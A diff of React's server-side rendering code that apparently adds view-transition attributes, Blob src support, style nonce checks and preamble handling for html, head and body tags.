@@ -826,7 +1104,7 @@ export function makeId(
     id += 'H' + localId.toString(32);
   }
 
-  return id + ':';
+  return id + '_';
 }
 
 function encodeHTMLTextNode(text: string): string {
@@ -865,6 +1143,43 @@ export function pushSegmentFinale(
   }
 }
 
+function pushViewTransitionAttributes(
+  target: Array<Chunk | PrecomputedChunk>,
+  formatContext: FormatContext,
+): void {
+  if (!enableViewTransition) {
+    return;
+  }
+  const viewTransition = formatContext.viewTransition;
+  if (viewTransition === null) {
+    return;
+  }
+  if (viewTransition.name !== 'auto') {
+    pushStringAttribute(
+      target,
+      'vt-name',
+      viewTransition.nameIdx === 0
+        ? viewTransition.name
+        : viewTransition.name + '_' + viewTransition.nameIdx,
+    );
+    // Increment the index in case we have multiple children to the same ViewTransition.
+    // Because this is a side-effect in render, we should ideally call pushViewTransitionAttributes
+    // after we've suspended (like forms do), so that we don't increment each attempt.
+    // TODO: Make this deterministic.
+    viewTransition.nameIdx++;
+  }
+  pushStringAttribute(target, 'vt-update', viewTransition.update);
+  if (viewTransition.enter !== 'none') {
+    pushStringAttribute(target, 'vt-enter', viewTransition.enter);
+  }
+  if (viewTransition.exit !== 'none') {
+    pushStringAttribute(target, 'vt-exit', viewTransition.exit);
+  }
+  if (viewTransition.share !== 'none') {
+    pushStringAttribute(target, 'vt-share', viewTransition.share);
+  }
+}
+
 const styleNameCache: Map<string, PrecomputedChunk> = new Map();
 function processStyleName(styleName: string): PrecomputedChunk {
   const chunk = styleNameCache.get(styleName);
@@ -997,6 +1312,7 @@ function pushStringAttribute(
 }
 
 function makeFormFieldPrefix(resumableState: ResumableState): string {
+  // TODO: Make this deterministic.
   const id = resumableState.nextFormID++;
   return resumableState.idPrefix + id;
 }
@@ -1173,6 +1489,47 @@ function pushFormActionAttribute(
   return formData;
 }
 
+let blobCache: null | WeakMap<Blob, Thenable<string>> = null;
+
+function pushSrcObjectAttribute(
+  target: Array<Chunk | PrecomputedChunk>,
+  blob: Blob,
+): void {
+  // Throwing a Promise style suspense read of the Blob content.
+  if (blobCache === null) {
+    blobCache = new WeakMap();
+  }
+  const suspenseCache: WeakMap<Blob, Thenable<string>> = blobCache;
+  let thenable = suspenseCache.get(blob);
+  if (thenable === undefined) {
+    thenable = ((readAsDataURL(blob): any): Thenable<string>);
+    thenable.then(
+      result => {
+        (thenable: any).status = 'fulfilled';
+        (thenable: any).value = result;
+      },
+      error => {
+        (thenable: any).status = 'rejected';
+        (thenable: any).reason = error;
+      },
+    );
+    suspenseCache.set(blob, thenable);
+  }
+  if (thenable.status === 'rejected') {
+    throw thenable.reason;
+  } else if (thenable.status !== 'fulfilled') {
+    throw thenable;
+  }
+  const url = thenable.value;
+  target.push(
+    attributeSeparator,
+    stringToChunk('src'),
+    attributeAssign,
+    stringToChunk(escapeTextForBrowser(url)),
+    attributeEnd,
+  );
+}
+
 function pushAttribute(
   target: Array<Chunk | PrecomputedChunk>,
   name: string,
@@ -1202,32 +1559,38 @@ function pushAttribute(
       pushStyleAttribute(target, value);
       return;
     }
-    case 'src':
+    case 'src': {
+      if (enableSrcObject && typeof value === 'object' && value !== null) {
+        if (typeof Blob === 'function' && value instanceof Blob) {
+          pushSrcObjectAttribute(target, value);
+          return;
+        }
+      }
+      // Fallthrough to general urls
+    }
     case 'href': {
-      if (enableFilterEmptyStringAttributesDOM) {
-        if (value === '') {
-          if (__DEV__) {
-            if (name === 'src') {
-              console.error(
-                'An empty string ("") was passed to the %s attribute. ' +
-                  'This may cause the browser to download the whole page again over the network. ' +
-                  'To fix this, either do not render the element at all ' +
-                  'or pass null to %s instead of an empty string.',
-                name,
-                name,
-              );
-            } else {
-              console.error(
-                'An empty string ("") was passed to the %s attribute. ' +
-                  'To fix this, either do not render the element at all ' +
-                  'or pass null to %s instead of an empty string.',
-                name,
-                name,
-              );
-            }
+      if (value === '') {
+        if (__DEV__) {
+          if (name === 'src') {
+            console.error(
+              'An empty string ("") was passed to the %s attribute. ' +
+                'This may cause the browser to download the whole page again over the network. ' +
+                'To fix this, either do not render the element at all ' +
+                'or pass null to %s instead of an empty string.',
+              name,
+              name,
+            );
+          } else {
+            console.error(
+              'An empty string ("") was passed to the %s attribute. ' +
+                'To fix this, either do not render the element at all ' +
+                'or pass null to %s instead of an empty string.',
+              name,
+              name,
+            );
           }
-          return;
         }
+        return;
       }
     }
     // Fall through to the last case which shouldn't remove empty strings.
@@ -1464,7 +1827,7 @@ function pushAttribute(
         // shouldRemoveAttribute
         switch (typeof value) {
           case 'function':
-          case 'symbol': // eslint-disable-line
+          case 'symbol':
             return;
           case 'boolean': {
             const prefix = attributeName.toLowerCase().slice(0, 5);
@@ -1556,6 +1919,7 @@ function checkSelectProp(props: any, propName: string) {
 function pushStartAnchor(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag('a'));
 
@@ -1590,6 +1954,8 @@ function pushStartAnchor(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
   pushInnerHTML(target, innerHTML, children);
   if (typeof children === 'string') {
@@ -1604,6 +1970,7 @@ function pushStartAnchor(
 function pushStartObject(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag('object'));
 
@@ -1627,19 +1994,17 @@ function pushStartObject(
             checkAttributeStringCoercion(propValue, 'data');
           }
           const sanitizedValue = sanitizeURL('' + propValue);
-          if (enableFilterEmptyStringAttributesDOM) {
-            if (sanitizedValue === '') {
-              if (__DEV__) {
-                console.error(
-                  'An empty string ("") was passed to the %s attribute. ' +
-                    'To fix this, either do not render the element at all ' +
-                    'or pass null to %s instead of an empty string.',
-                  propKey,
-                  propKey,
-                );
-              }
-              break;
+          if (sanitizedValue === '') {
+            if (__DEV__) {
+              console.error(
+                'An empty string ("") was passed to the %s attribute. ' +
+                  'To fix this, either do not render the element at all ' +
+                  'or pass null to %s instead of an empty string.',
+                propKey,
+                propKey,
+              );
             }
+            break;
           }
           target.push(
             attributeSeparator,
@@ -1657,6 +2022,8 @@ function pushStartObject(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
   pushInnerHTML(target, innerHTML, children);
   if (typeof children === 'string') {
@@ -1671,6 +2038,7 @@ function pushStartObject(
 function pushStartSelect(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
+  formatContext: FormatContext,
 ): ReactNodeList {
   if (__DEV__) {
     checkControlledValueProps('select', props);
@@ -1724,6 +2092,8 @@ function pushStartSelect(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
   pushInnerHTML(target, innerHTML, children);
   return children;
@@ -1853,6 +2223,7 @@ function pushStartOption(
     target.push(selectedMarkerAttribute);
   }
 
+  // Options never participate as ViewTransitions.
   target.push(endOfStartTag);
   pushInnerHTML(target, innerHTML, children);
   return children;
@@ -1873,11 +2244,32 @@ function injectFormReplayingRuntime(
     (!enableFizzExternalRuntime || !renderState.externalRuntimeScript)
   ) {
     resumableState.instructions |= SentFormReplayingRuntime;
-    renderState.bootstrapChunks.unshift(
-      renderState.startInlineScript,
-      formReplayingRuntimeScript,
-      endInlineScript,
-    );
+    const preamble = renderState.preamble;
+    const bootstrapChunks = renderState.bootstrapChunks;
+    if (
+      (preamble.htmlChunks || preamble.headChunks) &&
+      bootstrapChunks.length === 0
+    ) {
+      // If we rendered the whole document, then we emitted a rel="expect" that needs a
+      // matching target. If we haven't emitted that yet, we need to include it in this
+      // script tag.
+      bootstrapChunks.push(renderState.startInlineScript);
+      pushCompletedShellIdAttribute(bootstrapChunks, resumableState);
+      bootstrapChunks.push(
+        endOfStartTag,
+        formReplayingRuntimeScript,
+        endInlineScript,
+      );
+    } else {
+      // Otherwise we added to the beginning of the scripts. This will mean that it
+      // appears before the shell ID unfortunately.
+      bootstrapChunks.unshift(
+        renderState.startInlineScript,
+        endOfStartTag,
+        formReplayingRuntimeScript,
+        endInlineScript,
+      );
+    }
   }
 }
 
@@ -1901,6 +2293,7 @@ function pushStartForm(
   props: Object,
   resumableState: ResumableState,
   renderState: RenderState,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag('form'));
 
@@ -2010,6 +2403,8 @@ function pushStartForm(
     pushAttribute(target, 'target', formTarget);
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
 
   if (formActionName !== null) {
@@ -2034,6 +2429,7 @@ function pushInput(
   props: Object,
   resumableState: ResumableState,
   renderState: RenderState,
+  formatContext: FormatContext,
 ): ReactNodeList {
   if (__DEV__) {
     checkControlledValueProps('input', props);
@@ -2163,6 +2559,8 @@ function pushInput(
     pushAttribute(target, 'value', defaultValue);
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTagSelfClosing);
 
   // We place any additional hidden form fields after the input.
@@ -2176,6 +2574,7 @@ function pushStartButton(
   props: Object,
   resumableState: ResumableState,
   renderState: RenderState,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag('button'));
 
@@ -2247,6 +2646,8 @@ function pushStartButton(
     name,
   );
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
 
   // We place any additional hidden form fields we need to include inside the button itself.
@@ -2266,6 +2667,7 @@ function pushStartButton(
 function pushStartTextArea(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
+  formatContext: FormatContext,
 ): ReactNodeList {
   if (__DEV__) {
     checkControlledValueProps('textarea', props);
@@ -2320,6 +2722,8 @@ function pushStartTextArea(
     value = defaultValue;
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
 
   // TODO (yungsters): Remove support for children content in <textarea>.
@@ -2387,16 +2791,16 @@ function pushMeta(
   props: Object,
   renderState: RenderState,
   textEmbedded: boolean,
-  insertionMode: InsertionMode,
-  noscriptTagInScope: boolean,
-  isFallback: boolean,
+  formatContext: FormatContext,
 ): null {
+  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;
+  const isFallback = formatContext.tagScope & FALLBACK_SCOPE;
   if (
-    insertionMode === SVG_MODE ||
+    formatContext.insertionMode === SVG_MODE ||
     noscriptTagInScope ||
     props.itemProp != null
   ) {
-    return pushSelfClosing(target, props, 'meta');
+    return pushSelfClosing(target, props, 'meta', formatContext);
   } else {
     if (textEmbedded) {
       // This link follows text but we aren't writing a tag. while not as efficient as possible we need
@@ -2415,15 +2819,30 @@ function pushMeta(
       // the only way to embed the tag today we flush it on a special queue on the Request so it
       // can go before everything else. Like viewport this means that the tag will escape it's
       // parent container.
-      return pushSelfClosing(renderState.charsetChunks, props, 'meta');
+      return pushSelfClosing(
+        renderState.charsetChunks,
+        props,
+        'meta',
+        formatContext,
+      );
     } else if (props.name === 'viewport') {
       // "viewport" is flushed on the Request so it can go earlier that Float resources that
       // might be affected by it. This means it can escape the boundary it is rendered within.
       // This is a pragmatic solution to viewport being incredibly sensitive to document order
       // without requiring all hoistables to be flushed too early.
-      return pushSelfClosing(renderState.viewportChunks, props, 'meta');
+      return pushSelfClosing(
+        renderState.viewportChunks,
+        props,
+        'meta',
+        formatContext,
+      );
     } else {
-      return pushSelfClosing(renderState.hoistableChunks, props, 'meta');
+      return pushSelfClosing(
+        renderState.hoistableChunks,
+        props,
+        'meta',
+        formatContext,
+      );
     }
   }
 }
@@ -2435,15 +2854,15 @@ function pushLink(
   renderState: RenderState,
   hoistableState: null | HoistableState,
   textEmbedded: boolean,
-  insertionMode: InsertionMode,
-  noscriptTagInScope: boolean,
-  isFallback: boolean,
+  formatContext: FormatContext,
 ): null {
+  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;
+  const isFallback = formatContext.tagScope & FALLBACK_SCOPE;
   const rel = props.rel;
   const href = props.href;
   const precedence = props.precedence;
   if (
-    insertionMode === SVG_MODE ||
+    formatContext.insertionMode === SVG_MODE ||
     noscriptTagInScope ||
     props.itemProp != null ||
     typeof rel !== 'string' ||
@@ -2487,8 +2906,8 @@ function pushLink(
               props.onLoad && props.onError
                 ? '`onLoad` and `onError` props'
                 : props.onLoad
-                ? '`onLoad` prop'
-                : '`onError` prop';
+                  ? '`onLoad` prop'
+                  : '`onError` prop';
             console.error(
               'React encountered a `<link rel="stylesheet" .../>` with a `precedence` prop and %s. The presence of loading and error handlers indicates an intent to manage the stylesheet loading state from your from your Component code and React will not hoist or deduplicate this stylesheet. If your intent was to have React hoist and deduplciate this stylesheet using the `precedence` prop remove the %s, otherwise remove the `precedence` prop.',
               propDescription,
@@ -2630,6 +3049,8 @@ function pushLinkImpl(
     }
   }
 
+  // Link never participate as a ViewTransition
+
   target.push(endOfStartTagSelfClosing);
   return null;
 }
@@ -2641,9 +3062,9 @@ function pushStyle(
   renderState: RenderState,
   hoistableState: null | HoistableState,
   textEmbedded: boolean,
-  insertionMode: InsertionMode,
-  noscriptTagInScope: boolean,
+  formatContext: FormatContext,
 ): ReactNodeList {
+  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;
   if (__DEV__) {
     if (hasOwnProperty.call(props, 'children')) {
       const children = props.children;
@@ -2663,8 +3084,8 @@ function pushStyle(
           typeof child === 'function'
             ? 'a Function'
             : typeof child === 'symbol'
-            ? 'a Sybmol'
-            : 'an Array';
+              ? 'a Sybmol'
+              : 'an Array';
         console.error(
           'React expect children of <style> tags to be a string, number, or object with a `toString` method but found %s instead. ' +
             'In browsers style Elements can only have `Text` Nodes as children.',
@@ -2675,9 +3096,10 @@ function pushStyle(
   }
   const precedence = props.precedence;
   const href = props.href;
+  const nonce = props.nonce;
 
   if (
-    insertionMode === SVG_MODE ||
+    formatContext.insertionMode === SVG_MODE ||
     noscriptTagInScope ||
     props.itemProp != null ||
     typeof precedence !== 'string' ||
@@ -2720,15 +3142,33 @@ function pushStyle(
       styleQueue = {
         precedence: stringToChunk(escapeTextForBrowser(precedence)),
         rules: ([]: Array<Chunk | PrecomputedChunk>),
-        hrefs: [stringToChunk(escapeTextForBrowser(href))],
+        hrefs: ([]: Array<Chunk | PrecomputedChunk>),
         sheets: (new Map(): Map<string, StylesheetResource>),
       };
       renderState.styles.set(precedence, styleQueue);
-    } else {
-      // We have seen this precedence before and need to track this href
+    }
+
+    const nonceStyle = renderState.nonce.style;
+    if (!nonceStyle || nonceStyle === nonce) {
+      if (__DEV__) {
+        if (!nonceStyle && nonce) {
+          console.error(
+            'React encountered a style tag with `precedence` "%s" and `nonce` "%s". When React manages style rules using `precedence` it will only include a nonce attributes if you also provide the same style nonce value as a render option.',
+            precedence,
+            nonce,
+          );
+        }
+      }
       styleQueue.hrefs.push(stringToChunk(escapeTextForBrowser(href)));
+      pushStyleContents(styleQueue.rules, props);
+    } else if (__DEV__) {
+      console.error(
+        'React encountered a style tag with `precedence` "%s" and `nonce` "%s". When React manages style rules using `precedence` it will only include rules if the nonce matches the style nonce "%s" that was included with this render.',
+        precedence,
+        nonce,
+        nonceStyle,
+      );
     }
-    pushStyleContents(styleQueue.rules, props);
   }
   if (styleQueue) {
     // We need to track whether this boundary should wait on this resource or not.
@@ -2795,6 +3235,8 @@ function pushStyleImpl(
       }
     }
   }
+
+  // Style never participate as a ViewTransition.
   target.push(endOfStartTag);
 
   const child = Array.isArray(children)
@@ -2808,7 +3250,6 @@ function pushStyleImpl(
     child !== null &&
     child !== undefined
   ) {
-    // eslint-disable-next-line react-internal/safe-string-coercion
     target.push(stringToChunk(escapeStyleTextContent(child)));
   }
   pushInnerHTML(target, innerHTML, children);
@@ -2850,7 +3291,6 @@ function pushStyleContents(
     child !== null &&
     child !== undefined
   ) {
-    // eslint-disable-next-line react-internal/safe-string-coercion
     target.push(stringToChunk(escapeStyleTextContent(child)));
   }
   pushInnerHTML(target, innerHTML, children);
@@ -2862,8 +3302,11 @@ function pushImg(
   props: Object,
   resumableState: ResumableState,
   renderState: RenderState,
-  pictureOrNoScriptTagInScope: boolean,
+  hoistableState: null | HoistableState,
+  formatContext: FormatContext,
 ): null {
+  const pictureOrNoScriptTagInScope =
+    formatContext.tagScope & (PICTURE_SCOPE | NOSCRIPT_SCOPE);
   const {src, srcSet} = props;
   if (
     props.loading !== 'lazy' &&
@@ -2871,7 +3314,7 @@ function pushImg(
     (typeof src === 'string' || src == null) &&
     (typeof srcSet === 'string' || srcSet == null) &&
     props.fetchPriority !== 'low' &&
-    pictureOrNoScriptTagInScope === false &&
+    !pictureOrNoScriptTagInScope &&
     // We exclude data URIs in src and srcSet since these should not be preloaded
     !(
       typeof src === 'string' &&
@@ -2892,6 +3335,19 @@ function pushImg(
   ) {
     // We have a suspensey image and ought to preload it to optimize the loading of display blocking
     // resumableState.
+
+    if (hoistableState !== null) {
+      // Mark this boundary's state as having suspensey images.
+      // Only do that if we have a ViewTransition that might trigger a parent Suspense boundary
+      // to animate its appearing. Since that's the only case we'd actually apply suspensey images
+      // for SSR reveals.
+      const isInSuspenseWithEnterViewTransition =
+        formatContext.tagScope & APPEARING_SCOPE;
+      if (isInSuspenseWithEnterViewTransition) {
+        hoistableState.suspenseyImages = true;
+      }
+    }
+
     const sizes = typeof props.sizes === 'string' ? props.sizes : undefined;
     const key = getImageResourceKey(src, srcSet, sizes);
 
@@ -2923,6 +3379,9 @@ function pushImg(
       if (
         headers &&
         headers.remainingCapacity > 0 &&
+        // browsers today don't support preloading responsive images from link headers so we bail out
+        // if the img has srcset defined
+        typeof props.srcSet !== 'string' &&
         // this is a hueristic similar to capping element preloads to 10 unless explicitly
         // fetchPriority="high". We use length here which means it will fit fewer images when
         // the urls are long and more when short. arguably byte size is a better hueristic because
@@ -2953,7 +3412,7 @@ function pushImg(
         // make this behavior different between render and prerender since in the latter case
         // we are less sensitive to the current requests runtime per and more sensitive to maximizing
         // headers.
-        (headers.remainingCapacity -= header.length) >= 2)
+        (headers.remainingCapacity -= header.length + 2) >= 0)
       ) {
         // If we postpone in the shell we will still emit this preload so we track
         // it to make sure we don't reset it.
@@ -2998,13 +3457,14 @@ function pushImg(
       }
     }
   }
-  return pushSelfClosing(target, props, 'img');
+  return pushSelfClosing(target, props, 'img', formatContext);
 }
 
 function pushSelfClosing(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   tag: string,
+  formatContext: FormatContext,
 ): null {
   target.push(startChunkForTag(tag));
 
@@ -3028,6 +3488,8 @@ function pushSelfClosing(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTagSelfClosing);
   return null;
 }
@@ -3035,6 +3497,7 @@ function pushSelfClosing(
 function pushStartMenuItem(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag('menuitem'));
 
@@ -3057,6 +3520,8 @@ function pushStartMenuItem(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
   return null;
 }
@@ -3065,10 +3530,10 @@ function pushTitle(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   renderState: RenderState,
-  insertionMode: InsertionMode,
-  noscriptTagInScope: boolean,
-  isFallback: boolean,
+  formatContext: FormatContext,
 ): ReactNodeList {
+  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;
+  const isFallback = formatContext.tagScope & FALLBACK_SCOPE;
   if (__DEV__) {
     if (hasOwnProperty.call(props, 'children')) {
       const children = props.children;
@@ -3083,7 +3548,7 @@ function pushTitle(
         console.error(
           'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an Array with length %s instead.' +
             ' Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert `children` of <title> tags to a single string value' +
-            ' which is why Arrays of length greater than 1 are not supported. When using JSX it can be commong to combine text nodes and value nodes.' +
+            ' which is why Arrays of length greater than 1 are not supported. When using JSX it can be common to combine text nodes and value nodes.' +
             ' For example: <title>hello {nameOfUser}</title>. While not immediately apparent, `children` in this case is an Array with length 2. If your `children` prop' +
             ' is using this form try rewriting it using a template string: <title>{`hello ${nameOfUser}`}</title>.',
           children.length,
@@ -3118,7 +3583,7 @@ function pushTitle(
   }
 
   if (
-    insertionMode !== SVG_MODE &&
+    formatContext.insertionMode !== SVG_MODE &&
     !noscriptTagInScope &&
     props.itemProp == null
   ) {
@@ -3163,6 +3628,7 @@ function pushTitleImpl(
       }
     }
   }
+  // Title never participate as a ViewTransition
   target.push(endOfStartTag);
 
   const child = Array.isArray(children)
@@ -3184,20 +3650,77 @@ function pushTitleImpl(
   return null;
 }
 
+// These are used by the client if we clear a boundary and we find these, then we
+// also clear the singleton as well.
+const headPreambleContributionChunk = stringToPrecomputedChunk('<!--head-->');
+const bodyPreambleContributionChunk = stringToPrecomputedChunk('<!--body-->');
+const htmlPreambleContributionChunk = stringToPrecomputedChunk('<!--html-->');
+
 function pushStartHead(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   renderState: RenderState,
-  insertionMode: InsertionMode,
+  preambleState: null | PreambleState,
+  formatContext: FormatContext,
 ): ReactNodeList {
-  if (insertionMode < HTML_MODE && renderState.headChunks === null) {
+  if (formatContext.insertionMode < HTML_MODE) {
     // This <head> is the Document.head and should be part of the preamble
-    renderState.headChunks = [];
-    return pushStartGenericElement(renderState.headChunks, props, 'head');
+    const preamble = preambleState || renderState.preamble;
+
+    if (preamble.headChunks) {
+      throw new Error(`The ${'`<head>`'} tag may only be rendered once.`);
+    }
+
+    // Insert a marker in the body where the contribution to the head was in case we need to clear it.
+    if (preambleState !== null) {
+      target.push(headPreambleContributionChunk);
+    }
+
+    preamble.headChunks = [];
+    return pushStartSingletonElement(
+      preamble.headChunks,
+      props,
+      'head',
+      formatContext,
+    );
+  } else {
+    // This <head> is deep and is likely just an error. we emit it inline though.
+    // Validation should warn that this tag is the the wrong spot.
+    return pushStartGenericElement(target, props, 'head', formatContext);
+  }
+}
+
+function pushStartBody(
+  target: Array<Chunk | PrecomputedChunk>,
+  props: Object,
+  renderState: RenderState,
+  preambleState: null | PreambleState,
+  formatContext: FormatContext,
+): ReactNodeList {
+  if (formatContext.insertionMode < HTML_MODE) {
+    // This <body> is the Document.body
+    const preamble = preambleState || renderState.preamble;
+
+    if (preamble.bodyChunks) {
+      throw new Error(`The ${'`<body>`'} tag may only be rendered once.`);
+    }
+
+    // Insert a marker in the body where the contribution to the body tag was in case we need to clear it.
+    if (preambleState !== null) {
+      target.push(bodyPreambleContributionChunk);
+    }
+
+    preamble.bodyChunks = [];
+    return pushStartSingletonElement(
+      preamble.bodyChunks,
+      props,
+      'body',
+      formatContext,
+    );
   } else {
     // This <head> is deep and is likely just an error. we emit it inline though.
     // Validation should warn that this tag is the the wrong spot.
-    return pushStartGenericElement(target, props, 'head');
+    return pushStartGenericElement(target, props, 'body', formatContext);
   }
 }
 
@@ -3205,16 +3728,33 @@ function pushStartHtml(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   renderState: RenderState,
-  insertionMode: InsertionMode,
+  preambleState: null | PreambleState,
+  formatContext: FormatContext,
 ): ReactNodeList {
-  if (insertionMode === ROOT_HTML_MODE && renderState.htmlChunks === null) {
-    // This <html> is the Document.documentElement and should be part of the preamble
-    renderState.htmlChunks = [DOCTYPE];
-    return pushStartGenericElement(renderState.htmlChunks, props, 'html');
+  if (formatContext.insertionMode === ROOT_HTML_MODE) {
+    // This <html> is the Document.documentElement
+    const preamble = preambleState || renderState.preamble;
+
+    if (preamble.htmlChunks) {
+      throw new Error(`The ${'`<html>`'} tag may only be rendered once.`);
+    }
+
+    // Insert a marker in the body where the contribution to the head was in case we need to clear it.
+    if (preambleState !== null) {
+      target.push(htmlPreambleContributionChunk);
+    }
+
+    preamble.htmlChunks = [DOCTYPE];
+    return pushStartSingletonElement(
+      preamble.htmlChunks,
+      props,
+      'html',
+      formatContext,
+    );
   } else {
     // This <html> is deep and is likely just an error. we emit it inline though.
     // Validation should warn that this tag is the the wrong spot.
-    return pushStartGenericElement(target, props, 'html');
+    return pushStartGenericElement(target, props, 'html', formatContext);
   }
 }
 
@@ -3224,9 +3764,9 @@ function pushScript(
   resumableState: ResumableState,
   renderState: RenderState,
   textEmbedded: boolean,
-  insertionMode: InsertionMode,
-  noscriptTagInScope: boolean,
+  formatContext: FormatContext,
 ): null {
+  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;
   const asyncProp = props.async;
   if (
     typeof props.src !== 'string' ||
@@ -3238,7 +3778,7 @@ function pushScript(
     ) ||
     props.onLoad ||
     props.onError ||
-    insertionMode === SVG_MODE ||
+    formatContext.insertionMode === SVG_MODE ||
     noscriptTagInScope ||
     props.itemProp != null
   ) {
@@ -3325,6 +3865,7 @@ function pushScriptImpl(
       }
     }
   }
+  // Scripts never participate as a ViewTransition
   target.push(endOfStartTag);
 
   if (__DEV__) {
@@ -3333,8 +3874,8 @@ function pushScriptImpl(
         typeof children === 'number'
           ? 'a number for children'
           : Array.isArray(children)
-          ? 'an array for children'
-          : 'something unexpected for children';
+            ? 'an array for children'
+            : 'something unexpected for children';
       console.error(
         'A script element was rendered with %s. If script element has children it must be a single string.' +
           ' Consider using dangerouslySetInnerHTML or passing a plain string as children.',
@@ -3351,10 +3892,51 @@ function pushScriptImpl(
   return null;
 }
 
+// This is a fork of pushStartGenericElement because we don't ever want to do
+// the children as strign optimization on that path when rendering singletons.
+// When we eliminate that special path we can delete this fork and unify it again
+function pushStartSingletonElement(
+  target: Array<Chunk | PrecomputedChunk>,
+  props: Object,
+  tag: string,
+  formatContext: FormatContext,
+): ReactNodeList {
+  target.push(startChunkForTag(tag));
+
+  let children = null;
+  let innerHTML = null;
+  for (const propKey in props) {
+    if (hasOwnProperty.call(props, propKey)) {
+      const propValue = props[propKey];
+      if (propValue == null) {
+        continue;
+      }
+      switch (propKey) {
+        case 'children':
+          children = propValue;
+          break;
+        case 'dangerouslySetInnerHTML':
+          innerHTML = propValue;
+          break;
+        default:
+          pushAttribute(target, propKey, propValue);
+          break;
+      }
+    }
+  }
+
+  pushViewTransitionAttributes(target, formatContext);
+
+  target.push(endOfStartTag);
+  pushInnerHTML(target, innerHTML, children);
+  return children;
+}
+
 function pushStartGenericElement(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   tag: string,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag(tag));
 
@@ -3380,6 +3962,8 @@ function pushStartGenericElement(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
   pushInnerHTML(target, innerHTML, children);
   if (typeof children === 'string') {
@@ -3395,6 +3979,7 @@ function pushStartCustomElement(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   tag: string,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag(tag));
 
@@ -3453,6 +4038,9 @@ function pushStartCustomElement(
     }
   }
 
+  // TODO: ViewTransition attributes gets observed by the Custom Element which is a bit sketchy.
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
   pushInnerHTML(target, innerHTML, children);
   return children;
@@ -3464,6 +4052,7 @@ function pushStartPreformattedElement(
   target: Array<Chunk | PrecomputedChunk>,
   props: Object,
   tag: string,
+  formatContext: FormatContext,
 ): ReactNodeList {
   target.push(startChunkForTag(tag));
 
@@ -3489,6 +4078,8 @@ function pushStartPreformattedElement(
     }
   }
 
+  pushViewTransitionAttributes(target, formatContext);
+
   target.push(endOfStartTag);
 
   // text/html ignores the first character in these tags if it's a newline
@@ -3565,10 +4156,10 @@ export function pushStartInstance(
   props: Object,
   resumableState: ResumableState,
   renderState: RenderState,
+  preambleState: null | PreambleState,
   hoistableState: null | HoistableState,
   formatContext: FormatContext,
   textEmbedded: boolean,
-  isFallback: boolean,
 ): ReactNodeList {
   if (__DEV__) {
     validateARIAProperties(type, props);
@@ -3611,11 +4202,7 @@ export function pushStartInstance(
       // Fast track very common tags
       break;
     case 'a':
-      if (enableFilterEmptyStringAttributesDOM) {
-        return pushStartAnchor(target, props);
-      } else {
-        break;
-      }
+      return pushStartAnchor(target, props, formatContext);
     case 'g':
     case 'p':
     case 'li':
@@ -3623,30 +4210,41 @@ export function pushStartInstance(
       break;
     // Special tags
     case 'select':
-      return pushStartSelect(target, props);
+      return pushStartSelect(target, props, formatContext);
     case 'option':
       return pushStartOption(target, props, formatContext);
     case 'textarea':
-      return pushStartTextArea(target, props);
+      return pushStartTextArea(target, props, formatContext);
     case 'input':
-      return pushInput(target, props, resumableState, renderState);
+      return pushInput(
+        target,
+        props,
+        resumableState,
+        renderState,
+        formatContext,
+      );
     case 'button':
-      return pushStartButton(target, props, resumableState, renderState);
+      return pushStartButton(
+        target,
+        props,
+        resumableState,
+        renderState,
+        formatContext,
+      );
     case 'form':
-      return pushStartForm(target, props, resumableState, renderState);
-    case 'menuitem':
-      return pushStartMenuItem(target, props);
-    case 'object':
-      return pushStartObject(target, props);
-    case 'title':
-      return pushTitle(
+      return pushStartForm(
         target,
         props,
+        resumableState,
         renderState,
-        formatContext.insertionMode,
-        !!(formatContext.tagScope & NOSCRIPT_SCOPE),
-        isFallback,
+        formatContext,
       );
+    case 'menuitem':
+      return pushStartMenuItem(target, props, formatContext);
+    case 'object':
+      return pushStartObject(target, props, formatContext);
+    case 'title':
+      return pushTitle(target, props, renderState, formatContext);
     case 'link':
       return pushLink(
         target,
@@ -3655,9 +4253,7 @@ export function pushStartInstance(
         renderState,
         hoistableState,
         textEmbedded,
-        formatContext.insertionMode,
-        !!(formatContext.tagScope & NOSCRIPT_SCOPE),
-        isFallback,
+        formatContext,
       );
     case 'script':
       return pushScript(
